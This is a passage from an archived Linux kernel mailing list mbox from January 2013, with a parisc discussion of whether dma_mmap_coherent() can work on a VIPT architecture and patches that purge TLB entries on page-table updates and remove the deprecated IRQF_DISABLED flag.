> >>  arch/parisc/include/asm/dma-mapping.h |   10 ++++++++++
> >>  1 files changed, 10 insertions(+), 0 deletions(-)
> >>
> >> diff --git a/arch/parisc/include/asm/dma-mapping.h b/arch/parisc/i=
nclude/asm/dma-mapping.h
> >> index 467bbd5..1fac0bf 100644
> >> --- a/arch/parisc/include/asm/dma-mapping.h
> >> +++ b/arch/parisc/include/asm/dma-mapping.h
> >> @@ -238,4 +238,14 @@ void * sba_get_iommu(struct parisc_device *de=
v);
> >>  /* At the moment, we panic on error for IOMMU resource exaustion =
*/
> >>  #define dma_mapping_error(dev, x)    0
> >>
> >> +/* drivers/base/dma-mapping.c */
> >> +extern int dma_common_mmap(struct device *dev, struct vm_area_str=
uct *vma,
> >> +                        void *cpu_addr, dma_addr_t dma_addr, size=
_t size);
> >> +extern int dma_common_get_sgtable(struct device *dev, struct sg_t=
able *sgt,
> >> +                               void *cpu_addr, dma_addr_t dma_add=
r,
> >> +                               size_t size);
> >> +
> >> +#define dma_mmap_coherent(d, v, c, h, s) dma_common_mmap(d, v, c,=
 h, s)
> >> +#define dma_get_sgtable(d, t, v, h, s) dma_common_get_sgtable(d, =
t, v, h, s)
> >
> > What is the documentation around these functions?  The name sounds
> > suspiciously like you want a mapping of a buffer coherent between k=
ernel
> > and user space, which doesn't seem possible for us given the API.  =
We're
> > a VIPT architecture, so the only way we can do this is to have the
> > actual vma user space address be congruent with cpu_addr.  How do w=
e do
> > that if the vma and kernel addresses are already fixed?
>=20
> I was already afraid of this when seeing the "coherent" in the naming=
=2E..

Afraid of what, that the interface won't actually work for VIPT or that
we need special functions?

We won't be the only ones: MIPS at least will have this issue.

But I would like to clear up whether we can actually use this on PA or
not.

> > In other words, either the interface is unusable by parisc, or the
> > common code definitely won't work for us.
>=20
> So you probably want a static inline function that returns -EINVAL fo=
r now?

Yes, that should work (provided the consumers handle the return code
correctly).

James



From - Thu Nov 08 21:08:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 8/9] parisc: Provide dma_mmap_coherent() and dma_get_sgtable()
Date: Sun, 13 Jan 2013 15:52:25 +0100
Lines: 115
Approved: news@gmane.org
Message-ID: <CAMuHMdVETGzkf3nu+AohYN=gUjH3nmodxiLhi0Vrdo=SYKiokA@mail.gmail.com>
References: <1358073890-3610-1-git-send-email-geert@linux-m68k.org>
	<1358073890-3610-8-git-send-email-geert@linux-m68k.org>
	<1358077001.3065.14.camel@dabdike.int.hansenpartnership.com>
	<CAMuHMdVvRmNZS_L8-kYm4VGexD3h=nW4wC266cu7VAxJFx+-oA@mail.gmail.com>
	<1358084972.3065.18.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1358088761 17953 80.91.229.3 (13 Jan 2013 14:52:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 13 Jan 2013 14:52:41 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org,
	Marek Szyprowski <m.szyprowski@samsung.com>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-arch-owner@vger.kernel.org Sun Jan 13 15:52:58 2013
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1TuOvg-00071K-RH
	for glka-linux-arch@plane.gmane.org; Sun, 13 Jan 2013 15:52:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755250Ab3AMOw2 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glka-linux-arch@m.gmane.org>);
	Sun, 13 Jan 2013 09:52:28 -0500
Original-Received: from mail-vb0-f53.google.com ([209.85.212.53]:50896 "EHLO
	mail-vb0-f53.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755106Ab3AMOw1 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Sun, 13 Jan 2013 09:52:27 -0500
Original-Received: by mail-vb0-f53.google.com with SMTP id b23so2750964vbz.26
        for <multiple recipients>; Sun, 13 Jan 2013 06:52:26 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=KNupTNWjm25l68soKzaxcF57maPbAIqX7xLklmUyOg8=;
        b=nwgtFP5FraAH2Vhleb6GOq+u6O2uUDWn9YgeBRj6rvCeXQK/hJY8Y0jlvkzrJnGItO
         Eq7zCCEQ1BFJEBnN+nwrTLUhMh4rSwlkq7/1Sk6omuL1OMYfmREObKJdBUBSeHDjw78o
         aQumTDJRduMuziaiEhS67/EGH/OaiBj9Q2WtcScFOYCqd81q7dKNb/mjjnC01U+wQMCZ
         ut8Y7yV8U78zxkIsziNYvbgEmPsFsSqJDXdNBcpx1V0AoZvybhvu+z1FuPjvnptmWZ3g
         kSgK3YGGSw+fdpx+6MVTfryMxDPpD8AOBBhjwRjEGd7oIgOiJAl/oKa2XNk89BTz7FUz
         Nhyg==
Original-Received: by 10.220.241.141 with SMTP id le13mr97603123vcb.26.1358088746089;
 Sun, 13 Jan 2013 06:52:26 -0800 (PST)
Original-Received: by 10.58.228.71 with HTTP; Sun, 13 Jan 2013 06:52:25 -0800 (PST)
In-Reply-To: <1358084972.3065.18.camel@dabdike.int.hansenpartnership.com>
X-Google-Sender-Auth: CuOgz545ri-IFHLLcc4EvfyYOWg
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:16394 gmane.linux.kernel:1421163 gmane.linux.ports.parisc:4733
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/16394>

On Sun, Jan 13, 2013 at 2:49 PM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
> On Sun, 2013-01-13 at 14:12 +0100, Geert Uytterhoeven wrote:
>> On Sun, Jan 13, 2013 at 12:36 PM, James Bottomley
>> <James.Bottomley@hansenpartnership.com> wrote:
>> > On Sun, 2013-01-13 at 11:44 +0100, Geert Uytterhoeven wrote:
>> >> parisc/allmodconfig:
>> >>
>> >> drivers/media/v4l2-core/videobuf2-dma-contig.c: In function =E2=80=
=98vb2_dc_mmap=E2=80=99:
>> >> drivers/media/v4l2-core/videobuf2-dma-contig.c:204: error: implic=
it declaration of function =E2=80=98dma_mmap_coherent=E2=80=99
>> >> drivers/media/v4l2-core/videobuf2-dma-contig.c: In function =E2=80=
=98vb2_dc_get_base_sgt=E2=80=99:
>> >> drivers/media/v4l2-core/videobuf2-dma-contig.c:387: error: implic=
it declaration of function =E2=80=98dma_get_sgtable=E2=80=99
>> >>
>> >> For architectures using dma_map_ops, dma_mmap_coherent() and
>> >> dma_get_sgtable() are provided in <asm-generic/dma-mapping-common=
=2Eh>.
>> >>
>> >> Parisc does not use dma_map_ops, hence it should implement them a=
s inline
>> >> stubs using dma_common_mmap() and dma_common_get_sgtable().
>> >>
>> >> Signed-off-by: Geert Uytterhoeven <geert@linux-m68k.org>
>> >> Cc: Marek Szyprowski <m.szyprowski@samsung.com>
>> >> Cc: linux-parisc@vger.kernel.org
>> >> ---
>> >>  arch/parisc/include/asm/dma-mapping.h |   10 ++++++++++
>> >>  1 files changed, 10 insertions(+), 0 deletions(-)
>> >>
>> >> diff --git a/arch/parisc/include/asm/dma-mapping.h b/arch/parisc/=
include/asm/dma-mapping.h
>> >> index 467bbd5..1fac0bf 100644
>> >> --- a/arch/parisc/include/asm/dma-mapping.h
>> >> +++ b/arch/parisc/include/asm/dma-mapping.h
>> >> @@ -238,4 +238,14 @@ void * sba_get_iommu(struct parisc_device *d=
ev);
>> >>  /* At the moment, we panic on error for IOMMU resource exaustion=
 */
>> >>  #define dma_mapping_error(dev, x)    0
>> >>
>> >> +/* drivers/base/dma-mapping.c */
>> >> +extern int dma_common_mmap(struct device *dev, struct vm_area_st=
ruct *vma,
>> >> +                        void *cpu_addr, dma_addr_t dma_addr, siz=
e_t size);
>> >> +extern int dma_common_get_sgtable(struct device *dev, struct sg_=
table *sgt,
>> >> +                               void *cpu_addr, dma_addr_t dma_ad=
dr,
>> >> +                               size_t size);
>> >> +
>> >> +#define dma_mmap_coherent(d, v, c, h, s) dma_common_mmap(d, v, c=
, h, s)
>> >> +#define dma_get_sgtable(d, t, v, h, s) dma_common_get_sgtable(d,=
 t, v, h, s)
>> >
>> > What is the documentation around these functions?  The name sounds
>> > suspiciously like you want a mapping of a buffer coherent between =
kernel
>> > and user space, which doesn't seem possible for us given the API. =
 We're
>> > a VIPT architecture, so the only way we can do this is to have the
>> > actual vma user space address be congruent with cpu_addr.  How do =
we do
>> > that if the vma and kernel addresses are already fixed?
>>
>> I was already afraid of this when seeing the "coherent" in the namin=
g...
>
> Afraid of what, that the interface won't actually work for VIPT or th=
at
> we need special functions?

That it wouldn't work on parisc.

> We won't be the only ones: MIPS at least will have this issue.

MIPS uses <asm-generic/dma-mapping-common.h>, BUT has some ugly
#ifdefery in sound/core/pcm_native.c:snd_pcm_lib_default_mmap().

BTW, does current ALSA mmap() work on parisc?

> But I would like to clear up whether we can actually use this on PA o=
r
> not.
>
>> > In other words, either the interface is unusable by parisc, or the
>> > common code definitely won't work for us.
>>
>> So you probably want a static inline function that returns -EINVAL f=
or now?
>
> Yes, that should work (provided the consumers handle the return code
> correctly).

OK. Let's wait (for Marek's documentation) and see whether we can fix i=
t
for real in 3.8, or have to resort to -EINVAL.

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-=
m68k.org

In personal conversations with technical people, I call myself a hacker=
=2E But
when I'm talking to journalists I just say "programmer" or something li=
ke that.
                                -- Linus Torvalds

From - Thu Nov 08 21:08:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 8/9] parisc: Provide dma_mmap_coherent() and
 dma_get_sgtable()
Date: Sun, 13 Jan 2013 16:37:31 +0000
Lines: 122
Approved: news@gmane.org
Message-ID: <1358095051.2284.3.camel@dabdike.int.hansenpartnership.com>
References: <1358073890-3610-1-git-send-email-geert@linux-m68k.org>
	 <1358073890-3610-8-git-send-email-geert@linux-m68k.org>
	 <1358077001.3065.14.camel@dabdike.int.hansenpartnership.com>
	 <CAMuHMdVvRmNZS_L8-kYm4VGexD3h=nW4wC266cu7VAxJFx+-oA@mail.gmail.com>
	 <1358084972.3065.18.camel@dabdike.int.hansenpartnership.com>
	 <CAMuHMdVETGzkf3nu+AohYN=gUjH3nmodxiLhi0Vrdo=SYKiokA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1358095066 9372 80.91.229.3 (13 Jan 2013 16:37:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 13 Jan 2013 16:37:46 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org,
	Marek Szyprowski <m.szyprowski@samsung.com>,
	linux-parisc@vger.kernel.org
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-arch-owner@vger.kernel.org Sun Jan 13 17:38:03 2013
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1TuQZI-00051V-E2
	for glka-linux-arch@plane.gmane.org; Sun, 13 Jan 2013 17:37:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755299Ab3AMQhj convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glka-linux-arch@m.gmane.org>);
	Sun, 13 Jan 2013 11:37:39 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:46492 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755136Ab3AMQhi (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Sun, 13 Jan 2013 11:37:38 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 0D22C8EE0E3;
	Sun, 13 Jan 2013 08:37:36 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id VfdltrZhaZZt; Sun, 13 Jan 2013 08:37:35 -0800 (PST)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [46.65.52.191])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 7F1B38EE0C9;
	Sun, 13 Jan 2013 08:37:33 -0800 (PST)
In-Reply-To: <CAMuHMdVETGzkf3nu+AohYN=gUjH3nmodxiLhi0Vrdo=SYKiokA@mail.gmail.com>
X-Mailer: Evolution 3.6.2 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:16395 gmane.linux.kernel:1421175 gmane.linux.ports.parisc:4734
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/16395>

On Sun, 2013-01-13 at 15:52 +0100, Geert Uytterhoeven wrote:
> On Sun, Jan 13, 2013 at 2:49 PM, James Bottomley
> <James.Bottomley@hansenpartnership.com> wrote:
> > On Sun, 2013-01-13 at 14:12 +0100, Geert Uytterhoeven wrote:
> >> On Sun, Jan 13, 2013 at 12:36 PM, James Bottomley
> >> <James.Bottomley@hansenpartnership.com> wrote:
> >> > On Sun, 2013-01-13 at 11:44 +0100, Geert Uytterhoeven wrote:
> >> >> parisc/allmodconfig:
> >> >>
> >> >> drivers/media/v4l2-core/videobuf2-dma-contig.c: In function =E2=
=80=98vb2_dc_mmap=E2=80=99:
> >> >> drivers/media/v4l2-core/videobuf2-dma-contig.c:204: error: impl=
icit declaration of function =E2=80=98dma_mmap_coherent=E2=80=99
> >> >> drivers/media/v4l2-core/videobuf2-dma-contig.c: In function =E2=
=80=98vb2_dc_get_base_sgt=E2=80=99:
> >> >> drivers/media/v4l2-core/videobuf2-dma-contig.c:387: error: impl=
icit declaration of function =E2=80=98dma_get_sgtable=E2=80=99
> >> >>
> >> >> For architectures using dma_map_ops, dma_mmap_coherent() and
> >> >> dma_get_sgtable() are provided in <asm-generic/dma-mapping-comm=
on.h>.
> >> >>
> >> >> Parisc does not use dma_map_ops, hence it should implement them=
 as inline
> >> >> stubs using dma_common_mmap() and dma_common_get_sgtable().
> >> >>
> >> >> Signed-off-by: Geert Uytterhoeven <geert@linux-m68k.org>
> >> >> Cc: Marek Szyprowski <m.szyprowski@samsung.com>
> >> >> Cc: linux-parisc@vger.kernel.org
> >> >> ---
> >> >>  arch/parisc/include/asm/dma-mapping.h |   10 ++++++++++
> >> >>  1 files changed, 10 insertions(+), 0 deletions(-)
> >> >>
> >> >> diff --git a/arch/parisc/include/asm/dma-mapping.h b/arch/paris=
c/include/asm/dma-mapping.h
> >> >> index 467bbd5..1fac0bf 100644
> >> >> --- a/arch/parisc/include/asm/dma-mapping.h
> >> >> +++ b/arch/parisc/include/asm/dma-mapping.h
> >> >> @@ -238,4 +238,14 @@ void * sba_get_iommu(struct parisc_device =
*dev);
> >> >>  /* At the moment, we panic on error for IOMMU resource exausti=
on */
> >> >>  #define dma_mapping_error(dev, x)    0
> >> >>
> >> >> +/* drivers/base/dma-mapping.c */
> >> >> +extern int dma_common_mmap(struct device *dev, struct vm_area_=
struct *vma,
> >> >> +                        void *cpu_addr, dma_addr_t dma_addr, s=
ize_t size);
> >> >> +extern int dma_common_get_sgtable(struct device *dev, struct s=
g_table *sgt,
> >> >> +                               void *cpu_addr, dma_addr_t dma_=
addr,
> >> >> +                               size_t size);
> >> >> +
> >> >> +#define dma_mmap_coherent(d, v, c, h, s) dma_common_mmap(d, v,=
 c, h, s)
> >> >> +#define dma_get_sgtable(d, t, v, h, s) dma_common_get_sgtable(=
d, t, v, h, s)
> >> >
> >> > What is the documentation around these functions?  The name soun=
ds
> >> > suspiciously like you want a mapping of a buffer coherent betwee=
n kernel
> >> > and user space, which doesn't seem possible for us given the API=
=2E  We're
> >> > a VIPT architecture, so the only way we can do this is to have t=
he
> >> > actual vma user space address be congruent with cpu_addr.  How d=
o we do
> >> > that if the vma and kernel addresses are already fixed?
> >>
> >> I was already afraid of this when seeing the "coherent" in the nam=
ing...
> >
> > Afraid of what, that the interface won't actually work for VIPT or =
that
> > we need special functions?
>=20
> That it wouldn't work on parisc.

Hmm, so that would seem to be a serious deficiency with the API then.

> > We won't be the only ones: MIPS at least will have this issue.
>=20
> MIPS uses <asm-generic/dma-mapping-common.h>, BUT has some ugly
> #ifdefery in sound/core/pcm_native.c:snd_pcm_lib_default_mmap().
>=20
> BTW, does current ALSA mmap() work on parisc?

Yes, we used to have the same #ifdeffery, but in the alsa core ... I
can't remember how we fixed it for our two sound drivers (harmony and
AD1889).

> > But I would like to clear up whether we can actually use this on PA=
 or
> > not.
> >
> >> > In other words, either the interface is unusable by parisc, or t=
he
> >> > common code definitely won't work for us.
> >>
> >> So you probably want a static inline function that returns -EINVAL=
 for now?
> >
> > Yes, that should work (provided the consumers handle the return cod=
e
> > correctly).
>=20
> OK. Let's wait (for Marek's documentation) and see whether we can fix=
 it
> for real in 3.8, or have to resort to -EINVAL.

The way we could fix this is by altering the kernel CPU address, using =
a
kmap area, so we have to change the virtual address by which the kernel
refers to this page to be coherent with user space, but the API is two
narrow to allow that, so perhaps we need to redesign how the API works.

James



From - Thu Nov 08 21:08:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Purge existing TLB entries in set_pte_at and ptep_set_wrprotect
Date: Sun, 13 Jan 2013 16:52:28 -0500
Lines: 112
Approved: news@gmane.org
Message-ID: <BLU0-SMTP6386DBEA3C99F954FD63F7972F0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-27--297857313"
X-Trace: ger.gmane.org 1358113984 19687 80.91.229.3 (13 Jan 2013 21:53:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 13 Jan 2013 21:53:04 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 13 22:53:20 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TuVUV-0006bb-E3
	for glpp-linux-parisc@plane.gmane.org; Sun, 13 Jan 2013 22:53:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755716Ab3AMVxC (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 Jan 2013 16:53:02 -0500
Original-Received: from blu0-omc4-s33.blu0.hotmail.com ([65.55.111.172]:13089 "EHLO
	blu0-omc4-s33.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755608Ab3AMVxC (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 Jan 2013 16:53:02 -0500
Original-Received: from BLU0-SMTP63 ([65.55.111.136]) by blu0-omc4-s33.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 13 Jan 2013 13:53:00 -0800
X-EIP: [OvmGoDn+2hHoYJfEtW+knnRcy8z8tjNb]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.129.215]) by BLU0-SMTP63.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 13 Jan 2013 13:52:59 -0800
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 13 Jan 2013 21:52:59.0743 (UTC) FILETIME=[5A83CEF0:01CDF1D8]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4735
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4735>

--Apple-Mail-27--297857313
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

This patch goes a long way toward fixing the minifail bug, and it  
significantly
improves the stability of SMP machines such as the rp3440.  When write  
protecting
a page for COW, we need to purge the existing translation.  Otherwise,  
the COW
break doesn't occur as expected.

The patch assumes the kernel will flush page when it does copy.

Signed-off-by: John David Anglin <dave.anglin@bell.net>


--Apple-Mail-27--297857313
Content-Disposition: attachment; filename="purge_tlb.d.txt"
Content-Type: text/plain; x-unix-mode=0644; name="purge_tlb.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index ee99f23..2c6dedb 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -12,11 +12,10 @@
 
 #include <linux/bitops.h>
 #include <linux/spinlock.h>
+#include <linux/mm_types.h>
 #include <asm/processor.h>
 #include <asm/cache.h>
 
-struct vm_area_struct;
-
 /*
  * kern_addr_valid(ADDR) tests if ADDR is pointing to valid kernel
  * memory.  For the return value to be meaningful, ADDR must be >=
@@ -40,7 +39,14 @@ struct vm_area_struct;
         do{                                                     \
                 *(pteptr) = (pteval);                           \
         } while(0)
-#define set_pte_at(mm,addr,ptep,pteval) set_pte(ptep,pteval)
+
+extern void purge_tlb_entries(struct mm_struct *, unsigned long);
+
+#define set_pte_at(mm,addr,ptep, pteval)                        \
+        do{                                                     \
+                set_pte(ptep,pteval);                           \
+                purge_tlb_entries(mm,addr);                     \
+        } while(0)
 
 #endif /* !__ASSEMBLY__ */
 
@@ -466,6 +472,7 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 		old = pte_val(*ptep);
 		new = pte_val(pte_wrprotect(__pte (old)));
 	} while (cmpxchg((unsigned long *) ptep, old, new) != old);
+	purge_tlb_entries(mm, addr);
 #else
 	pte_t old_pte = *ptep;
 	set_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 48e16dc..467d902 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -419,6 +419,26 @@ void kunmap_parisc(void *addr)
 EXPORT_SYMBOL(kunmap_parisc);
 #endif
 
+void purge_tlb_entries(struct mm_struct *mm, unsigned long addr)
+{
+	unsigned long flags, sid;
+
+	/* Note: purge_tlb_entries can be called at startup with
+	   no context.  */
+
+	/* Disable preemption while we play with %sr1.  */
+	preempt_disable();
+	sid = mfsp(1);
+	mtsp(mm->context,1);
+	purge_tlb_start(flags);
+	pdtlb(addr);
+	pitlb(addr);
+	purge_tlb_end(flags);
+	mtsp(sid,1);
+	preempt_enable();
+}
+EXPORT_SYMBOL(purge_tlb_entries);
+
 void __flush_tlb_range(unsigned long sid, unsigned long start,
 		       unsigned long end)
 {

--Apple-Mail-27--297857313
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit



Dave
--
John David Anglin	dave.anglin@bell.net


--Apple-Mail-27--297857313--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATC] parisc: Remove IRQF_DISABLED
Date: Sun, 13 Jan 2013 16:57:55 -0500
Lines: 58
Approved: news@gmane.org
Message-ID: <BLU0-SMTP215580C9DC496C96650B2B972F0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: multipart/mixed; boundary="Apple-Mail-33--297529737"
X-Trace: ger.gmane.org 1358114310 22026 80.91.229.3 (13 Jan 2013 21:58:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 13 Jan 2013 21:58:30 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 13 22:58:46 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TuVZm-0002ZH-Bt
	for glpp-linux-parisc@plane.gmane.org; Sun, 13 Jan 2013 22:58:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755608Ab3AMV63 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 Jan 2013 16:58:29 -0500
Original-Received: from blu0-omc4-s22.blu0.hotmail.com ([65.55.111.161]:23086 "EHLO
	blu0-omc4-s22.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755471Ab3AMV62 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 Jan 2013 16:58:28 -0500
Original-Received: from BLU0-SMTP21 ([65.55.111.137]) by blu0-omc4-s22.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 13 Jan 2013 13:58:27 -0800
X-EIP: [vpfwWm1CHKeG3kqA1qxL0bndda8Z9lZj]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.129.215]) by BLU0-SMTP21.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 13 Jan 2013 13:58:27 -0800
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 13 Jan 2013 21:58:27.0313 (UTC) FILETIME=[1DC30610:01CDF1D9]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4736
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4736>

--Apple-Mail-33--297529737
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit

This patch removes IRQF_DISABLED from irq.c.  See comment in  
interrupt.h:

  * IRQF_DISABLED - keep irqs disabled when calling the action handler.
  *                 DEPRECATED. This flag is a NOOP and scheduled to  
be removed

Signed-off-by: John David Anglin <dave.anglin@bell.net>


--Apple-Mail-33--297529737
Content-Disposition: attachment; filename="irq.c.d.txt"
Content-Type: text/plain; x-unix-mode=0644; name="irq.c.d.txt"
Content-Transfer-Encoding: 7bit

diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index 0299d63..8094d3e 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -379,14 +379,14 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 static struct irqaction timer_action = {
 	.handler = timer_interrupt,
 	.name = "timer",
-	.flags = IRQF_DISABLED | IRQF_TIMER | IRQF_PERCPU | IRQF_IRQPOLL,
+	.flags = IRQF_TIMER | IRQF_PERCPU | IRQF_IRQPOLL,
 };
 
 #ifdef CONFIG_SMP
 static struct irqaction ipi_action = {
 	.handler = ipi_interrupt,
 	.name = "IPI",
-	.flags = IRQF_DISABLED | IRQF_PERCPU,
+	.flags = IRQF_PERCPU,
 };
 #endif
 

--Apple-Mail-33--297529737
Content-Type: text/plain; charset="US-ASCII"; format=flowed
